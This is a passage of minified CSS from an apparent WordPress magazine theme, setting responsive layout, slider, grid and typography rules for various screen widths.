transparent}.featured-style-6 .wrapper-item .penci-item-2{border-bottom:2px solid transparent}.featured-style-6 .wrapper-item .penci-item-0{border-top:3px solid transparent}.featured-style-13 .penci-image-holder:before,.featured-style-15 .penci-image-holder:before{height:350px}.featured-style-14 .penci-image-holder:before,.featured-style-16 .penci-image-holder:before{height:300px}.featured-style-16 .penci-mag-featured-content h3 a{font-size:15px}.featured-style-17 .penci-image-holder:before,.featured-style-18 .penci-image-holder:before{height:160px}.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before{height:324px}.featured-style-17 .penci-mag-featured-content .feat-meta,.featured-style-18 .penci-mag-featured-content .feat-meta{display:none}.penci-mag-featured-content h3 a{font-size:14px}.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-17 .penci-slide-overlay .penci-mag-featured-content,.featured-style-18 .penci-slide-overlay .penci-mag-featured-content{left:0;width:100%;padding:0 5px;text-align:center}.penci-grid li.list-boxed-post-2{width:50%}.penci_sidebar .penci-grid li.list-boxed-post-2{width:100%}.penci-grid li.list-boxed-post-2:nth-of-type(2n+1){clear:both}.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2{height:312px}.penci-grid li.list-boxed-post-2:nth-of-type(2n+1) .content-boxed-2.show-top{display:none}.penci-grid li.list-boxed-post-2:nth-of-type(2n+1) .content-boxed-2.show-bottom{display:block}.penci-grid li.list-boxed-post-2:nth-of-type(2n+2) .content-boxed-2.show-top{display:block}.penci-grid li.list-boxed-post-2:nth-of-type(2n+2) .content-boxed-2.show-bottom{display:none}.penci_sidebar .penci-grid li.list-boxed-post-2 .content-boxed-2.show-top{display:none!important}.penci_sidebar .penci-grid li.list-boxed-post-2 .content-boxed-2.show-bottom{display:block!important}.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2{min-height:312px;height:auto}.penci-grid li.list-boxed-post-2 .item>.thumbnail:before{display:none;content:none}.penci-photo-2-effect figcaption h2{padding:0 20px 20px;font-size:18px}.penci-photo-2-effect figcaption p{margin-top:20px;padding:0 20px;font-size:93%}.penci_sidebar .penci-photo-2-effect figcaption p{display:none}.penci_sidebar .penci-photo-2-effect figcaption:after,.penci_sidebar .penci-photo-2-effect figcaption:before{display:none;content:none}.penci_sidebar .penci-photo-2-effect figcaption h2{padding:0 20px;transform:translateY(-50%);-webkit-transform:translateY(-50%);font-size:14px}.container.penci_sidebar .penci-grid li.typography-style{width:48.05%;margin-right:3.9%}.container.penci_sidebar .penci-grid li.typography-style:nth-of-type(3n+3){margin-right:3.9%;clear:none}.container.penci_sidebar .penci-grid li.typography-style:nth-of-type(2n+1){margin-right:0}.container.penci_sidebar .penci-grid li.typography-style:nth-of-type(2n+1){clear:both}.container.penci_sidebar .penci-grid li.typography-style{width:100%;margin-right:0}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image img,.widget ul.side-newsfeed li .side-item .side-image img{width:100px}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,.widget ul.side-newsfeed li .side-item .side-item-text h4 a{font-size:14px}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta{font-size:11px}.penci_sidebar .penci-portfolio.column-2 .portfolio-overlay-content .portfolio-short,.portfolio-overlay-content .portfolio-short{margin-top:17%}.penci-grid .list-post.list-boxed-post .item .content-list-right{min-height:313px;height:313px}.container.penci_sidebar .penci-masonry .item-masonry.standard-masonry{width:100%}.home-featured-cat-content .mag-photo .magcat-detail{width:100%}.home-featured-cat-content .magcat-detail h3 a{font-size:14px}.home-featured-cat-content .magcat-detail .mag-meta{margin-top:5px}.home-featured-cat-content .mag-photo .grid-post-box-meta span,.home-featured-cat-content .mag-photo .grid-post-box-meta span a{font-size:12px}.widget-social.show-text a span{margin-left:1px;font-size:12px}ul.footer-socials li{margin-right:12px}ul.footer-socials li a span{margin-left:8px}.overlay-header-box .overlay-title a{font-size:20px}.widget .penci-widget-slider .penci-widget-slide-detail h4 a{font-size:14px}.penci-widget-slide-detail .slide-item-date{font-size:13px}.home-featured-cat-content .mag-photo .magcat-detail{padding:15px}.home-featured-cat-content .penci-magcat-carousel .magcat-detail h3 a{font-size:16px}.penci-single-mag-slider .magcat-detail .magcat-titlte{font-size:20px}}@media only screen and (max-width:1169px){.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2{margin:0 0 5px;width:100%!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3{margin:0}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content{width:50%;float:left;display:block;margin:0!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content:first-child{border-right:3px solid transparent}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content:last-child{border-left:3px solid transparent}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content{width:100%;border:none!important}.penci-magazine-slider img{width:100%}}@media only screen and (min-width:961px){#navigation .menu{display:inline-block!important}}@media only screen and (max-width:960px){.container.has-banner #logo{text-align:center;display:block;width:auto}.container.has-banner .header-banner{display:block;margin-top:30px;width:100%;text-align:center}.featured-area.style-7.loaded .featured-carousel:before{content:none;display:none}.featured-style-2 .penci-owl-carousel .swiper-slide{width:760px}.penci-top-bar{text-align:center}.penci-top-bar.no-social.topbar-menu{display:block}.penci-topbar-social{float:none}.overlay-video-click{display:none!important}#navigation.header-10>.container,#navigation.header-11>.container{display:table}#navigation.header-10 .penci-menu-wrap,#navigation.header-11 .penci-menu-wrap{display:none}#navigation.header-10,#navigation.header-10 .penci-menuhbg-toggle,#navigation.header-11,#navigation.header-11 .penci-menuhbg-toggle,#navigation.header-6,#navigation.header-6 .penci-menuhbg-toggle{height:60px}#navigation.header-6 .container{text-align:center}#navigation.header-6 #logo{float:none;display:inline-block}#navigation.header-6 #logo img{max-height:58px;padding:10px 0}#navigation.header-10 .show-search,#navigation.header-11 .show-search,#navigation.header-6 .show-search,#navigation.header-9 .show-search{height:58px}#navigation.header-10 .main-nav-social,#navigation.header-10 .pcheader-icon>a,#navigation.header-10 .show-search a.close-search,#navigation.header-11 .main-nav-social,#navigation.header-11 .pcheader-icon>a,#navigation.header-11 .show-search a.close-search,#navigation.header-9 .main-nav-social,#navigation.header-9 .pcheader-icon>a,#navigation.header-9 .show-search a.close-search{height:58px;line-height:58px}#navigation.header-6 .main-nav-social,#navigation.header-6 .pcheader-icon>a,#navigation.header-6 .show-search a.close-search{height:58px;line-height:58px}#navigation.header-6 .show-search form.pc-searchform input.search-input{height:58px;padding:15px 35px 15px 0}#navigation.header-6 .pcheader-icon.shoping-cart-icon>a>span{top:12px}#navigation.header-7,#navigation.header-8,#navigation.header-9{padding:0 10px}.penci-magazine-slider ul.mag-wrap li{width:50%;height:240px;border:none}.wrapper-boxed.enable-boxed .featured-area.style-2.loaded-wait button.slick-prev{left:0!important}.wrapper-boxed.enable-boxed .featured-area.style-2.loaded-wait button.slick-next{right:0!important}.penci-magazine-slider ul.mag-wrap li.mag-item-1{width:100%;padding-bottom:66.11%;height:0;border:none;border-bottom:4px solid transparent}.penci-magazine-slider ul.mag-wrap li.mag-item-2{border-right:2px solid transparent;border-bottom:none}.penci-magazine-slider ul.mag-wrap li.mag-item-3{border-left:2px solid transparent;border-bottom:none}.featured-style-4 .penci-owl-carousel .penci-image-holder:before,.featured-style-5 .penci-owl-carousel .penci-image-holder:before{height:0;padding-top:50%}.featured-style-4 .penci-featured-content .featured-slider-overlay,.featured-style-5 .penci-featured-content .featured-slider-overlay{background:#000}.featured-style-4 .penci-featured-content .feat-text h3 a,.featured-style-5 .penci-featured-content .feat-text h3 a{font-size:22px}.featured-style-4 .penci-featured-content,.featured-style-4 .penci-owl-carousel .penci-image-holder,.featured-style-5 .penci-featured-content,.featured-style-5 .penci-owl-carousel .penci-image-holder{width:100%}.penci-slider4-overlay,.penci-slider5-overlay{background:0 0!important}.featured-style-6 .wrapper-item .penci-item-mag{width:50%;border:none}.featured-style-14 .wrapper-item .penci-item-1,.featured-style-16 .wrapper-item .penci-item-2,.featured-style-16 .wrapper-item .penci-item-mag,.featured-style-6 .wrapper-item .penci-item-1{width:100%;border:none;border-bottom:4px solid transparent}.featured-style-6 .wrapper-item .penci-item-2{border-right:2px solid transparent}.featured-style-6 .wrapper-item .penci-item-0{border-left:2px solid transparent}.featured-style-13 .wrapper-item .penci-item-mag,.featured-style-14 .wrapper-item .penci-item-mag{width:50%}.featured-style-13 .wrapper-item .penci-item-1,.featured-style-14 .wrapper-item .penci-item-1,.featured-style-15 .wrapper-item .penci-item-2,.featured-style-15 .wrapper-item .penci-item-mag{width:100%}.featured-style-13 .penci-slide-overlay .penci-mag-featured-content,.featured-style-14 .penci-slide-overlay .penci-mag-featured-content,.featured-style-15 .penci-slide-overlay .penci-mag-featured-content,.featured-style-16 .penci-slide-overlay .penci-mag-featured-content{text-align:center}.featured-style-13 .penci-image-holder:before{height:400px}.featured-style-14 .penci-image-holder:before,.featured-style-15 .penci-image-holder:before,.featured-style-16 .penci-image-holder:before{height:350px}.featured-style-17 .wrapper-item .penci-slide17-item-2,.featured-style-17 .wrapper-item .penci-slider17-mag-item,.featured-style-18 .wrapper-item .penci-slide17-item-2,.featured-style-18 .wrapper-item .penci-slider17-mag-item{float:none;width:100%;vertical-align:top}.featured-style-17 .wrapper-item .penci-slide17-item-2,.featured-style-18 .wrapper-item .penci-slide17-item-2{border:none;border-top:4px solid transparent;border-bottom:4px solid transparent}.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-0,.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-1,.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-2,.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-4,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-0,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-1,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-2,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-4{width:50%;float:left}.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-1,.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-4,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-1,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-4{border-right:2px solid transparent;margin:0}.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-0,.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-2,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-0,.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-2{border-left:2px solid transparent}.featured-style-17 .penci-image-holder:before,.featured-style-18 .penci-image-holder:before{height:200px}.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before{height:300px}.featured-style-19 .penci-mag-featured-content .feat-meta{display:none}.featured-style-19 .penci-image-holder:before{height:215px}.featured-style-19 .penci-mag-featured-content h3 a{font-size:14px}.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a{font-size:18px}.featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-20 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-20 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-20 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-21 .penci-item-3 .penci-mag-featured-content h3 a{font-size:14px;text-transform:none;letter-spacing:0}.featured-style-22 .wrapper-item .penci-item-mag,.featured-style-23 .wrapper-item .penci-item-mag,.featured-style-27 .wrapper-item .penci-item-mag{border-bottom:4px solid transparent;width:50%}.featured-style-22 .wrapper-item .penci-item-1,.featured-style-27 .wrapper-item .penci-item-1{width:100%}.featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a,.featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a{font-size:16px;text-transform:none;letter-spacing:0}.featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a,.featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a{font-size:18px;text-transform:none;letter-spacing:0}.featured-style-24 .wrapper-item .penci-item-mag,.featured-style-25 .wrapper-item .penci-item-1,.featured-style-25 .wrapper-item .penci-item-mag,.featured-style-26 .wrapper-item .penci-item-mag{width:50%}.featured-style-24 .wrapper-item .penci-item-0,.featured-style-24 .wrapper-item .penci-item-1,.featured-style-24 .wrapper-item .penci-item-2,.featured-style-24 .wrapper-item .penci-item-3{border-bottom:4px solid transparent}.featured-style-24 .penci-item-0 .penci-image-holder:before,.featured-style-24 .penci-item-1 .penci-image-holder:before,.featured-style-24 .penci-item-2 .penci-image-holder:before,.featured-style-24 .penci-item-3 .penci-image-holder:before,.featured-style-25 .penci-item-0 .penci-image-holder:before,.featured-style-25 .penci-item-1 .penci-image-holder:before,.featured-style-25 .penci-item-2 .penci-image-holder:before,.featured-style-25 .penci-item-3 .penci-image-holder:before,.featured-style-27 .penci-image-holder:before{height:200px}.featured-style-24 .penci-mag-featured-content .cat,.featured-style-25 .penci-mag-featured-content .cat{display:none}.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-25 .penci-item-3 .penci-mag-featured-content h3 a{font-size:16px;text-transform:none;letter-spacing:0}.featured-style-26 .wrapper-item .penci-item-1{width:100%;border-bottom:4px solid transparent}.featured-style-27 .penci-mag-featured-content .feat-meta{display:none}.featured-style-27 .penci-item-1 .penci-image-holder:before{height:250px}.featured-style-35 .penci-featured-content-right,.featured-style-35.style-36 .penci-featured-content-right{width:100%;text-align:center}.featured-style-35 .penci-image-holder:before,.featured-style-35.style-36 .penci-image-holder:before{height:0;padding-top:55%}.featured-style-35 .feat-text-right .penci-featured-slider-button{display:none}.penci-featured-content-right:before{content:none}.penci-featured-content-right .feat-text-right:before{background:#000;opacity:.7;content:"";position:absolute;top:0;left:0;bottom:0;right:0;width:100%;height:100%;display:block;z-index:1}.featured-style-35 .feat-text-right h3,.featured-style-35 .featured-cat{z-index:5;position:relative}.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .feat-text-right h3,.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-cat,.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-content-excerpt,.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-slider-button{animation-name:none;-webkit-animation-name:none;-moz-animation-name:none;-o-animation-name:none}.featured-style-35 .featured-content-excerpt{display:none}.feat-text-right{padding-top:15px;padding-bottom:15px;width:450px;left:50%;margin-left:-225px}.featured-style-37 .penci-featured-items-left,.featured-style-37 .penci-featured-items-right{width:100%;border:none;float:none}.featured-style-37 .penci-featured-items-left{margin-bottom:4px}.featured-style-37 .penci-featured-items-right .item{width:50%;border:none;margin:0!important;float:left}.featured-style-37 .penci-featured-items-right .item:first-child{border-right:2px solid transparent}.featured-style-37 .penci-featured-items-right .item:last-child{border-left:2px solid transparent}h2.penci-heading-video{font-size:24px}p.penci-sub-heading-video{font-size:14px}.penci-grid li.list-boxed-post-2{width:100%!important}.penci-grid li.list-boxed-post-2 .content-boxed-2.show-top{display:none!important}.penci-grid li.list-boxed-post-2 .content-boxed-2.show-bottom{display:block!important}.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2,.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2{min-height:312px;height:auto}.penci-grid li.list-boxed-post-2 .item>.thumbnail:before{display:none;content:none}.container .penci-grid li.typography-style{width:100%!important;margin-right:0!important}.penci-photo-2-effect figcaption p,.penci_sidebar .penci-photo-2-effect figcaption p{display:none}.penci-photo-2-effect figcaption:after,.penci-photo-2-effect figcaption:before,.penci_sidebar .penci-photo-2-effect figcaption:after,.penci_sidebar .penci-photo-2-effect figcaption:before{display:none;content:none}.penci-photo-2-effect figcaption h2,.penci_sidebar .penci-photo-2-effect figcaption h2{padding:0 20px;transform:translateY(-50%);-webkit-transform:translateY(-50%)}.grid-mixed .thumbnail img{width:100%;height:auto}.grid-mixed .mixed-detail,.grid-mixed .thumbnail.thumb-left{display:block!important;width:100%}.grid-mixed .mixed-detail{padding:30px}.grid-mixed .penci-post-box-meta{position:relative;margin:31px 0 4px;left:auto;right:auto;bottom:auto}.grid-mixed .thumbnail.thumb-right{display:none!important}#navigation.header-4 .container,#navigation.header-5 .container{text-align:right}#navigation.header-4 .container .pcheader-icon,#navigation.header-5 .container .pcheader-icon,#navigation.header-6 .container .pcheader-icon{margin-left:15px}#navigation .button-menu-mobile{display:inline-block}#navigation .menu{display:none!important}.portfolio-page-content .portfolio-left,.portfolio-page-content .portfolio-right{width:100%;padding:0}.portfolio-page-content .portfolio-left{margin-bottom:30px}.container.penci_sidebar #main{width:100%;margin:0 0 60px 0;padding:0!important;float:none!important}.penci-single-style-10 .penci-single-s10-content,.penci-single-style-13 .penci-single-s13-content{width:100%;margin:20px 0 0 0;padding:0!important;float:none!important}.penci-sidebar-content{position:static!important;margin-left:0!important;top:auto!important;float:none!important;width:100%!important}.penci-single-infiscroll .penci-single-block:not(.penci-single-infiblock-end) .penci-sidebar-content{display:none!important}.penci-single-infiscroll .penci-single-block:not(.penci-single-infiblock-end) .container.penci_sidebar #main{margin:0}.penci-single-infiscroll .penci-single-block:not(.penci-single-infiblock-end) article.post{margin-bottom:40px}.featured-carousel .featured-content .feat-text h3 a{font-size:18px}.featured-carousel .carousel-meta{margin-top:5px}.featured-carousel .carousel-meta span{font-size:13px}.featured-carousel .featured-cat a{font-size:11px}.about-widget{text-align:center}.footer-widget-wrapper{width:100%!important;margin:0 0 30px 0!important;float:none}.footer-widget-wrapper.last{margin-bottom:0!important}.widget .jr-insta-thumb ul.thumbnails.no-border.jr_col_6 li{width:33.33%!important}.widget .jr-insta-thumb ul.thumbnails.no-border.jr_col_8 li{width:25%!important}.widget .jr-insta-thumb ul.thumbnails.no-border.jr_col_10 li{width:20%!important}.container .penci-portfolio.column-3 .inner-portfolio-posts .portfolio-item{width:50%}.column-1-2,.column-1-3,.column-1-4,.column-2-3,.column-3-4{width:100%;margin:0 0 30px 0}.penci-masonry .item-masonry{width:50%}.standard-masonry .standard-content .standard-share-box{display:none}.standard-masonry .standard-main-content.has-padding{min-height:0;padding-left:0}.pencisc-grid-tablet-6 .penci-masonry .item-masonry{width:16.6666667%}.pencisc-grid-tablet-5 .penci-masonry .item-masonry{width:20%}.pencisc-grid-tablet-4 .penci-masonry .item-masonry{width:25%}.pencisc-grid-tablet-3 .penci-masonry .item-masonry{width:33.3333%}.pencisc-grid-tablet-2 .penci-masonry .item-masonry{width:50%}.pencisc-grid-tablet-1 .penci-masonry .item-masonry{width:100%}.footer-social-drop-line ul.footer-socials li a span,ul.footer-socials li a span{display:none}.inner-item-portfolio{opacity:1}.pcpt-ajax-ftl .inner-portfolio-posts.loaded .inner-item-portfolio.animated,.penci-portfolio.loaded .inner-item-portfolio.animated{-webkit-animation-name:none;-moz-animation-name:none;-o-animation-name:none;animation-name:none}div.penci-topbar-menu>ul{display:none!important}div.penci-topbar-menu>ul,ul.penci-topbar-menu{width:100%;text-align:center}div.penci-topbar-menu>ul>li,ul.penci-topbar-menu>li{float:none;margin-right:15px}div.penci-topbar-menu>ul ul.sub-menu,ul.penci-topbar-menu ul.sub-menu{top:auto}}@media only screen and (min-width:768px) and (max-width:960px){body{--pcctain:726px}.container,.container.two-sidebar.two-sidebar,.featured-area.magazine-slider,.featured-area.style-1,.featured-area.style-4,.featured-carousel.style-2 .item img{width:var(--pcctain);max-width:calc(100% - 60px)}.wrapper-boxed.enable-boxed,.wrapper-boxed.enable-boxed .is-sticky #navigation{max-width:766px}.featured-area .featured-carousel,.featured-area .featured-carousel.style-2,.penci-slick-slider{max-height:420px}.featured-area.style-4,.featured-area.style-5,.penci-magazine-slider.penci-loading{min-height:420px}#logo img{max-width:600px;height:auto}.penci-image-holder.slider-style-1-fix{height:372px}.penci-image-holder.slider-style-2-fix{width:726px}.penci-image-holder.slider-style-3-fix{height:400px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1{padding-bottom:0!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content{height:230px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content{height:450px}.featured-carousel .featured-content,.featured-carousel.style-2 .featured-content{top:35.3%}.penci-slider .pencislider-container .pencislider-content .pencislider-title{font-size:26px}.penci-slider .pencislider-container .pencislider-content .pencislider-caption{font-size:16px}ul.homepage-featured-boxes{margin-left:-10px;margin-right:-10px}.post-entry ul.homepage-featured-boxes li,ul.homepage-featured-boxes li{padding:0 10px}ul.homepage-featured-boxes.boxes-4-columns li{width:50%}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:before{left:8px;top:8px;right:8px;bottom:8px}.penci-grid .list-post.list-boxed-post .item .content-list-right{display:inline-block;padding:20px 20px 20px 30px;min-height:0;height:auto}.penci-photo-2-effect figcaption h2,.penci_sidebar .penci-photo-2-effect figcaption h2{font-size:14px}.list-boxed-post .inner-content-list-right{vertical-align:top;display:block}.penci-pinterest-widget-container .penci-images-pin-widget a{width:16.6666%}.penci-countdown .countdown-section{margin:0 20px}.penci-countdown .countdown-amount{font-size:60px}.penci-latest-posts-mixed-larger .penci-grid>li,.penci-layout-mixed .penci-grid>li{width:100%!important}.container.penci_sidebar .penci-grid>li,.penci-grid>li,.penci-grid>li.grid-2-style{width:calc((100% - var(--pcrgap))/ 2)}}.penci-featured-cat-sc .home-featured-cat-content .mag-photo:last-child,.penci-featured-cat-sc .home-featured-cat-content.style-6 .cat-right .mag-post-box:last-child{margin-bottom:0!important}@media only screen and (min-width:768px){.penci-featured-cat-sc .home-featured-cat-content .mag-photo:nth-last-child(2) .penci-featured-cat-sc .home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-last-child(2),.penci-featured-cat-sc .home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),.penci-featured-cat-sc .home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2){margin-bottom:0!important}.penci-featured-cat-sc .home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),.penci-featured-cat-sc .home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2){padding-bottom:0!important}.penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail,.penci-featured-cat-sc .penci-grid li.list-post .item .content-list-right,.penci-grid li.pclist-layout .item .content-list-right,.penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right{padding-left:30px;width:53.75%;float:left}.penci-featured-cat-sc .penci-grid li.list-post .item>.thumbnail,.penci-grid li.pclist-layout .item>.thumbnail,.penci-latest-posts-sc .penci-grid li.list-post .item>.thumbnail{max-width:100%}.penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post.full-mag-cat .magcat-detail{padding:0!important}.penci-featured-cat-sc .penci-grid li.list-post .item .content-list-right.fullwidth,.penci-latest-posts-sc .penci-grid li.list-post .item .content-list-right.fullwidth{padding:0;width:100%}}@media only screen and (max-width:767px){.container,.container.two-sidebar.two-sidebar,.featured-area.magazine-slider,.featured-area.style-1,.featured-area.style-4,.featured-carousel.style-2 .item img{width:100%}.wrapper-boxed.enable-boxed,.wrapper-boxed.enable-boxed .is-sticky #navigation{max-width:100%}.header-slogan .header-slogan-text{padding:0 10px}.featured-area .featured-carousel,.featured-area .featured-carousel.style-2,.penci-slick-slider{max-height:180px}.featured-area.style-4,.featured-area.style-5,.penci-magazine-slider.penci-loading{min-height:180px}.penci-image-holder.slider-style-1-fix{height:250px}.penci-image-holder.slider-style-2-fix{width:480px}.penci-image-holder.slider-style-3-fix{height:260px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content{width:100%!important;border:none!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li{padding-bottom:0!important;height:auto!important}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content{height:200px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content:first-child,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content:first-child{margin-bottom:10px!important}.featured-carousel .feat-text .feat-time{display:none}.featured-carousel .featured-cat a{margin-bottom:0}.penci-magazine-slider ul.mag-wrap li{width:100%!important;border:none!important;height:0!important;padding-bottom:55%!important;border-bottom:4px solid transparent!important}#penci-end-sidebar-sticky,.penci-magazine-slider .mag-cat{display:none}.penci-magazine-slider .mag-item-1 .mag-meta h3 a,.penci-magazine-slider .mag-meta h3 a{font-size:18px}.penci-magazine-slider .mag-item-1 .mag-meta-child{margin-top:5px}.home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),.home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2){padding-bottom:15px;margin-bottom:15px}.featured-carousel.style-7 .featured-content .feat-text h3,.featured-carousel.style-7 .featured-content .feat-text h3 a,.wrapper-boxed.enable-boxed .featured-carousel.style-7 .featured-content .feat-text h3{padding:0}.featured-carousel.style-7 .featured-content .feat-text h3 a:after,.featured-carousel.style-7 .featured-content .feat-text h3 a:before{content:none;display:none}.penci-featured-content .feat-text{padding:15px 5px 16px;max-width:350px}.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content{padding:12px 5px}.penci-slide-overlay .penci-mag-featured-content .feat-text{text-align:center}.featured-style-35 .featured-cat,.penci-featured-content .feat-text .feat-meta,.penci-featured-content .feat-text .featured-cat,.penci-mag-featured-content .cat,.penci-mag-featured-content .feat-meta{display:none}.penci-slide-overlay .penci-mag-featured-content{left:0;width:100%;padding:0 5px;bottom:10px}.featured-style-13 .penci-mag-featured-content h3 a,.penci-mag-featured-content h3 a{font-size:14px}.featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a,.featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-35 .feat-text-right h3 a,.featured-style-4 .penci-featured-content .feat-text h3 a,.featured-style-5 .penci-featured-content .feat-text h3 a,.penci-featured-content .feat-text h3 a{font-size:18px}.feat-text-right{padding-left:15px;padding-right:15px;width:350px;margin-left:-175px}.featured-style-2 .penci-owl-carousel .swiper-slide{width:480px}.featured-style-10 .penci-mag-featured-content h3 a,.featured-style-11 .penci-mag-featured-content h3 a,.featured-style-12 .penci-mag-featured-content h3 a,.featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-15 .penci-mag-featured-content h3 a,.featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a,.featured-style-16 .penci-mag-featured-content h3 a,.featured-style-7 .penci-mag-featured-content h3 a,.featured-style-8 .penci-mag-featured-content h3 a,.featured-style-9 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-13 .penci-image-holder:before,.featured-style-14 .penci-image-holder:before{height:300px}.featured-style-15 .penci-image-holder:before,.featured-style-16 .penci-image-holder:before{height:200px}.featured-style-17 .penci-image-holder:before,.featured-style-18 .penci-image-holder:before{height:160px}.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before{height:240px}.featured-style-19 .penci-image-holder:before{height:150px}.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a,.featured-style-19 .penci-mag-featured-content h3 a{font-size:14px}.featured-style-19 .wrapper-item .penci-item-2,.featured-style-19 .wrapper-item .penci-item-3,.featured-style-19 .wrapper-item .penci-item-mag{width:50%}.featured-style-19 .wrapper-item .penci-item-1,.featured-style-19 .wrapper-item .penci-item-3{border-right:2px 